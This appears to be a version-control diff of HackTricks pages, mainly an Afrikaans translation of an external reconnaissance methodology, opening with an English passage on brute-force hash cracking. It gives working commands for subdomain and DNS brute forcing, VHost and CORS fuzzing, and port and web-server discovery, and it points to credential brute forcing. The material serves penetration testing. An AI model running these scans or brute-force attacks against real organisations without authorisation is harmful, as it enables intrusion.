- **John the Ripper**: Another widely used password cracking tool that can perform brute force attacks.
- **CrackStation**: An online database containing millions of pre-computed hashes for common passwords.
- **Rainbow Tables**: Precomputed tables used to crack password hashes more quickly than traditional brute force methods.
#### Methodology
1. **Generate Hashes**: Obtain the hash of the target password or key.
2. **Select Tool**: Choose a suitable password cracking tool such as Hashcat or John the Ripper.
3. **Configure Tool**: Set the tool to perform a brute force attack using the appropriate hashing algorithm.
4. **Start Attack**: Initiate the brute force attack and let the tool systematically check all possible keys or passwords.
5. **Crack Password**: Once the correct key or password is found, the hash is cracked, and the plaintext password is revealed.
By following this methodology and utilizing the right tools, hackers can effectively crack common application hashes using brute force attacks.
Brute force is a common method used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is time-consuming but can be effective, especially for simpler hashes. Specialized tools like John the Ripper and Hashcat can be used to automate the brute force process.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -925,15 +967,15 @@ By following this methodology and utilizing the right tools, hackers can effecti
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -10,13 +10,13 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hack-loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gesproke vereis_).
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -28,8 +28,8 @@ Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy
1. Vind die verkrygings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
2. Vind die ASN (indien enige) van elke maatskappy, dit sal ons die IP-reeks besit deur elke maatskappy gee
3. Gebruik omgekeerde whois-opsoeke om te soek na ander inskrywings (organisasienames, domeine...) wat verband hou met die eerste een (dit kan rekursief gedoen word)
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl`-truk kan rekursief gedoen word).
3. Gebruik omgekeerde whois-opsoek om te soek na ander inskrywings (organisasienames, domeine...) wat verband hou met die eerste een (dit kan rekursief gedoen word)
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl` truuk kan rekursief gedoen word).
### **Verkrygings**
@ -41,7 +41,7 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
### **ASNs**
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat deur die **Internet Assigned Numbers Authority (IANA)** aan 'n **outonome stelsel** (AS) toegeken word.\
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat toegewys is aan 'n **outonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)**.\
'n **AS** bestaan uit **blokke** van **IP-adresse** wat 'n duidelik gedefinieerde beleid vir toegang tot eksterne netwerke het en deur 'n enkele organisasie geadministreer word, maar uit verskeie operateurs kan bestaan.
Dit is interessant om te vind of die **maatskappy enige ASN toegewys het** om sy **IP-reeks** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** uit te voer teen al die **gasheer** binne die **omvang** en te soek na domeine binne hierdie IP's.\
@ -70,25 +70,25 @@ bbot -t tesla.com -f subdomain-enum
```
Jy kan die IP-reeks van 'n organisasie ook vind deur [http://asnlookup.com/](http://asnlookup.com) te gebruik (dit het 'n gratis API).\
Jy kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4info.com).
Jy kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4info.com) te gebruik.
### **Op soek na kwesbaarhede**
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheidsskanderings** (Nessus, OpenVAS) oor al die gasheerservers uitvoer.\
Jy kan ook 'n paar [**poortskanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **uitvoer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** hierdie boek deursoek om te sien hoe om verskeie moontlike dienste te pentest.\
Op hierdie punt ken ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheidsskanderings** (Nessus, OpenVAS) oor al die gasheers lanceer.\
Jy kan ook 'n paar [**poortskanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **lanceer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** hierdie boek deursoek om te sien hoe om verskeie moontlike dienste te pentest.\
**Dit kan ook die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lyste kan voorberei en probeer om dienste te** bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeine
> Ons ken al die maatskappye binne die omvang en hul bates, dit is tyd om die domeine binne die omvang te vind.
_Geliewe daarop te let dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
_Merk asseblief op dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, vir _Tesla Inc._ gaan dit _tesla.com_ wees.
### **Omgekeerde DNS**
Aangesien jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n DNS-bediener van die slagoffer of 'n bekende DNS-bediener (1.1.1.1, 8.8.8.8) te gebruik.
Aangesien jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns-bedieners van die slagoffer of 'n paar bekende dns-bedieners (1.1.1.1, 8.8.8.8) te gebruik.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -100,8 +100,8 @@ Jy kan ook 'n aanlyn gereedskap gebruik vir hierdie inligting: [http://ptrarchiv
### **Omgekeerde Whois (lus)**
Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasienaam**, **adres**, **e-posadresse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat verband hou met die maatskappy** kan vind as jy **omgekeerde whois-opsoeke uitvoer deur enige van daardie velde** (byvoorbeeld ander whois-registre waar dieselfde e-pos verskyn).\
Jy kan aanlyn gereedskap soos gebruik:
Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasienaam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat verband hou met die maatskappy** kan vind as jy **omgekeerde whois-opsoekings deur enige van daardie velde** uitvoer (byvoorbeeld ander whois-registre waar dieselfde e-pos verskyn).\
Jy kan aanlyn gereedskappe gebruik soos:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
@ -111,7 +111,7 @@ Jy kan aanlyn gereedskap soos gebruik:
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis nie
Jy kan hierdie taak outomatiseer met [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
Jy kan hierdie taak outomatiseer met behulp van [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
Jy kan ook enkele outomatiese omgekeerde whois-ontdekkings doen met [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Let daarop dat jy hierdie tegniek kan gebruik om meer domeinname te ontdek elke keer as jy 'n nuwe domein vind.**
@ -121,7 +121,7 @@ Jy kan ook enkele outomatiese omgekeerde whois-ontdekkings doen met [amass](http
As jy dieselfde ID van dieselfde opvolger op 2 verskillende bladsye vind, kan jy aanneem dat **beide bladsye** deur dieselfde span **bestuur word**.\
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
Daar is bladsye en gereedskap wat jou toelaat om te soek na hierdie opvolgers en meer:
Daar is bladsye en gereedskappe wat jou toelaat om te soek volgens hierdie opvolgers en meer:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -180,23 +180,23 @@ Dit is blykbaar algemeen vir mense om subdomeine toe te ken aan IP-adresse wat a
**Shodan**
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in Shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kontroleer die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in Shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kyk na die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
Jy kan toegang verkry tot die **TLS-sertifikaat** van die hoofwebwerf, die **Organisasienaam** verkry, en dan soek na daardie naam binne die **TLS-sertifikate** van al die webwerwe wat deur **Shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n instrument soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Jy kan die **TLS-sertifikaat** van die hoofwebwerf besoek, die **Organisasienaam** verkry en dan soek na daardie naam binne die **TLS-sertifikate** van al die webwerwe wat deur **Shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) is 'n instrument wat soek na **domeine wat verband hou** met 'n hoofdomein en hul **subdomeine**, baie indrukwekkend.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) is 'n hulpmiddel wat soek na **domeine wat verband hou** met 'n hoofdomein en hul **subdomeine**, baie indrukwekkend.
### **Op soek na kwesbaarhede**
Kyk vir 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy 'n domein, maar hulle het die eienaarskap verloor. Registreer dit (as dit goedkoop genoeg is) en laat die maatskappy weet.
Soek na 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy 'n domein, maar hulle het die eienaarskap verloor. Registreer dit net (as dit goedkoop genoeg is) en laat die maatskappy weet.
As jy enige **domein met 'n ander IP** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
_Merk op dat die domein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, dus dit val nie binne die omvang nie, wees versigtig._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbountyplatform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), en begin om belonings tot **$100,000** te verdien!
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -208,13 +208,13 @@ Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind.
### **DNS**
Laat ons probeer om **subdomeine** van die **DNS**-rekords te kry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer).
Laat ons probeer om **subdomeine** van die **DNS**-rekords te kry. Ons moet ook probeer vir **Zone-oordrag** (As kwesbaar, moet jy dit rapporteer).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Die vinnigste manier om 'n groot aantal subdomeine te verkry, is deur in eksterne bronne te soek. Die mees gebruikte **hulpmiddels** is die volgende (om beter resultate te kry, stel die API-sleutels in):
Die vinnigste manier om 'n groot aantal subdomeine te verkry, is deur eksterne bronne te soek. Die mees gebruikte **hulpmiddels** is die volgende (om beter resultate te kry, stel die API-sleutels in):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -263,7 +263,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Daar is **ander interessante gereedskap/API's** wat selfs al is hulle nie direk gespesialiseer in die vind van subdomeine nie, nuttig kan wees om subdomeine te vind, soos:
Daar is **ander interessante gereedskap/API's** wat selfs al is hulle nie direk gespesialiseer in die vind van subdomeine, nuttig kan wees om subdomeine te vind, soos:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Gebruik die API [https://sonar.omnisint.io](https://sonar.omnisint.io) om subdomeine te verkry
```bash
@ -328,13 +328,13 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) het 'n gratis API om te soek na subdomeine en IP-geskiedenis
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Hierdie projek bied **gratis al die subdomeine wat verband hou met foutjagprogramme** aan. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word, te besoek [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Hierdie projek bied **gratis al die subdomeine wat verband hou met foutjagprogramme** aan. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word te besigtig [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
Jy kan 'n **vergelyking** van baie van hierdie gereedskappe hier vind: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
Laat ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te kragtig te gebruik met moontlike subdomeinname.
Laat ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te kragtig te soek met moontlike subdomeinname.
Vir hierdie aksie sal jy 'n paar **gewone subdomeinwoordlyste soos** nodig hê:
@ -344,11 +344,11 @@ Vir hierdie aksie sal jy 'n paar **gewone subdomeinwoordlyste soos** nodig hê:
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
En ook IP-adresse van goeie DNS-oplossers. Om 'n lys van vertroude DNS-oplossers te genereer, kan jy die oplossers aflaai van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
En ook IP-adresse van goeie DNS-oplossers. Om 'n lys van vertroude DNS-oplossers te genereer, kan jy die oplossers van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) aflaai en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Die mees aanbevole gereedskap vir DNS-kragtig is:
Die mees aanbevole gereedskappe vir DNS-kragtige aksies is:
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n effektiewe DNS-kragtig uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe.
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n doeltreffende DNS-kragtige aksie uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildcard hantering en maklike in- en uitset-ondersteuning.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildcard hantering en maklike in- en uitset ondersteuning.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -372,7 +372,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Tweede DNS Brute-Force Ronde
Nadat subdomeine gevind is deur oop bronne en brute-forcings, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te vind. Verskeie gereedskappe is nuttig vir hierdie doel:
Nadat subdomeine gevind is deur oop bronne en brute-force, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te probeer vind. Verskeie gereedskappe is nuttig vir hierdie doel:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gee die domeine en subdomeine permutasies.
```bash
@ -388,7 +388,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Afgesien van die generering van subdomein-permutasies, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige gekommentariseerde gereedskap te gebruik).
* Jy kan die altdns permutasies **woordelys** kry [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* Jy kan altdns-permutasies **woordelys** kry [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -408,13 +408,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein-brute-force fuzzer gekoppel met 'n immens eenvoudige maar effektiewe DNS-antwoord-geleide algoritme. Dit maak gebruik van 'n voorsiene stel insetdata, soos 'n op maat gemaakte woordelys of historiese DNS/TLS-rekords, om akkuraat meer ooreenstemmende domeinname te sintetiseer en hulle selfs verder uit te brei in 'n lus gebaseer op inligting wat tydens die DNS-scan ingesamel is.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein-brute-force fuzzer gekoppel met 'n immens eenvoudige maar effektiewe DNS-reaksie-geleide algoritme. Dit maak gebruik van 'n voorsiene stel insetdata, soos 'n op maat gemaakte woordelys of historiese DNS/TLS-rekords, om akkuraat meer ooreenstemmende domeinname te sintetiseer en hulle selfs verder uit te brei in 'n lus gebaseer op inligting wat tydens die DNS-scan ingesamel is.
```
echo www | subzuf facebook.com
```
### **Subdomein Ontdekking Werkvloei**
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking te outomatiseer** van 'n domein deur die gebruik van **Trickest-werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking outomaties** van 'n domein te doen deur gebruik te maak van **Trickest werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -422,11 +422,11 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking
### **VHosts / Virtuele Gasheer**
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat behoort aan subdomeine, kan jy probeer om **ander subdomeine met webbladsye op daardie IP** te vind deur in **OSINT-bronne** te kyk vir domeine op 'n IP of deur **VHost-domeinname op daardie IP te brute force**.
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye op daardie IP** te vind deur in **OSINT-bronne** te kyk vir domeine op 'n IP of deur **VHost-domeinname op daardie IP te brute force**.
#### OSINT
Jy kan sommige **VHosts in IPs vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's** te gebruik.
Jy kan sommige **VHosts in IPs vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's te gebruik**.
**Brute Force**
@ -450,7 +450,7 @@ Met hierdie tegniek kan jy selfs moontlik toegang verkry tot interne/verborge ei
### **CORS Brute Force**
Soms sal jy bladsye vind wat slegs die _**Access-Control-Allow-Origin**_ kop _terugstuur wanneer 'n geldige domein/subdomein in die _**Origin**_ kop ingestel is. In hierdie scenarios kan jy hierdie gedrag misbruik om nuwe **subdomeine** te **ontdek**.
Soms sal jy bladsye vind wat slegs die _**Access-Control-Allow-Origin**_ kop soek wanneer 'n geldige domein/subdomein in die _**Origin**_ kop ingestel is. In hierdie scenarios kan jy hierdie gedrag misbruik om nuwe **subdomeine** te **ontdek**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -468,7 +468,7 @@ Jy kan **moniter** of **nuwe subdomeine** van 'n domein geskep word deur die **S
Kyk vir moontlike [**subdomein-oorneemaksies**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
As die **subdomein** na 'n **S3-emmer** wys, [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
As jy enige **subdomein met 'n IP wat verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
As jy enige **subdomein met 'n IP wat verskil** van diegene wat jy reeds in die bates ontdek het, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
_Merk op dat die subdomein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## IP's
@ -484,19 +484,19 @@ Jy kan ook vir domeine wat na 'n spesifieke IP-adres wys, kyk met die hulpmiddel
### **Op soek na kwesbaarhede**
**Skandeer alle IP's wat nie aan CDNs behoort nie** (aangesien jy waarskynlik niks interessants daar sal vind nie). In die besigheidsdiens wat ontdek is, kan jy dalk **kwesbaarhede vind**.
**Skandeer alle IP's wat nie aan CDN's behoort nie** (aangesien jy waarskynlik niks interessants daar sal vind nie). In die besigheidsdiens wat ontdek is, kan jy dalk **kwesbaarhede vind**.
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gasheer te skandeer.**
## Webbedieners jag
## Webbedienerjag
> Ons het al die maatskappye en hul bates gevind en ons ken IP-reeks, domeine en subdomeine binne die omvang. Dit is tyd om vir webbedieners te soek.
In die vorige stappe het jy waarskynlik al 'n bietjie **rekognisering van die IP's en domeine wat ontdek is** uitgevoer, so jy het dalk **al die moontlike webbedieners al gevind**. Indien nie, gaan ons nou sien na 'n paar **vinnige truuks om vir webbedieners te soek** binne die omvang.
In die vorige stappe het jy waarskynlik al 'n bietjie **rekognisering van die IP's en domeine wat ontdek is** uitgevoer, so jy het dalk al die moontlike webbedieners gevind. Indien nie, gaan ons nou sien na 'n paar **vinnige truuks om vir webbedieners te soek** binne die omvang.
Let asseblief daarop dat dit **georiënteer sal wees vir die ontdekking van webtoepassings**, so jy moet ook die **kwesbaarheid** en **poortskandering** uitvoer (**indien toegelaat** deur die omvang).
'n **Vinnige metode** om **oophawens verband houend met webbedieners** te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
'n **Vinnige metode** om **oophoue poorte** wat verband hou met **web** bedieners te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
'n Ander vriendelike hulpmiddel om vir webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy stuur net 'n lys domeine en dit sal probeer om aan te sluit by poort 80 (http) en 443 (https). Daarbenewens kan jy aandui om ander poorte te probeer:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -504,108 +504,106 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Skermgrepe**
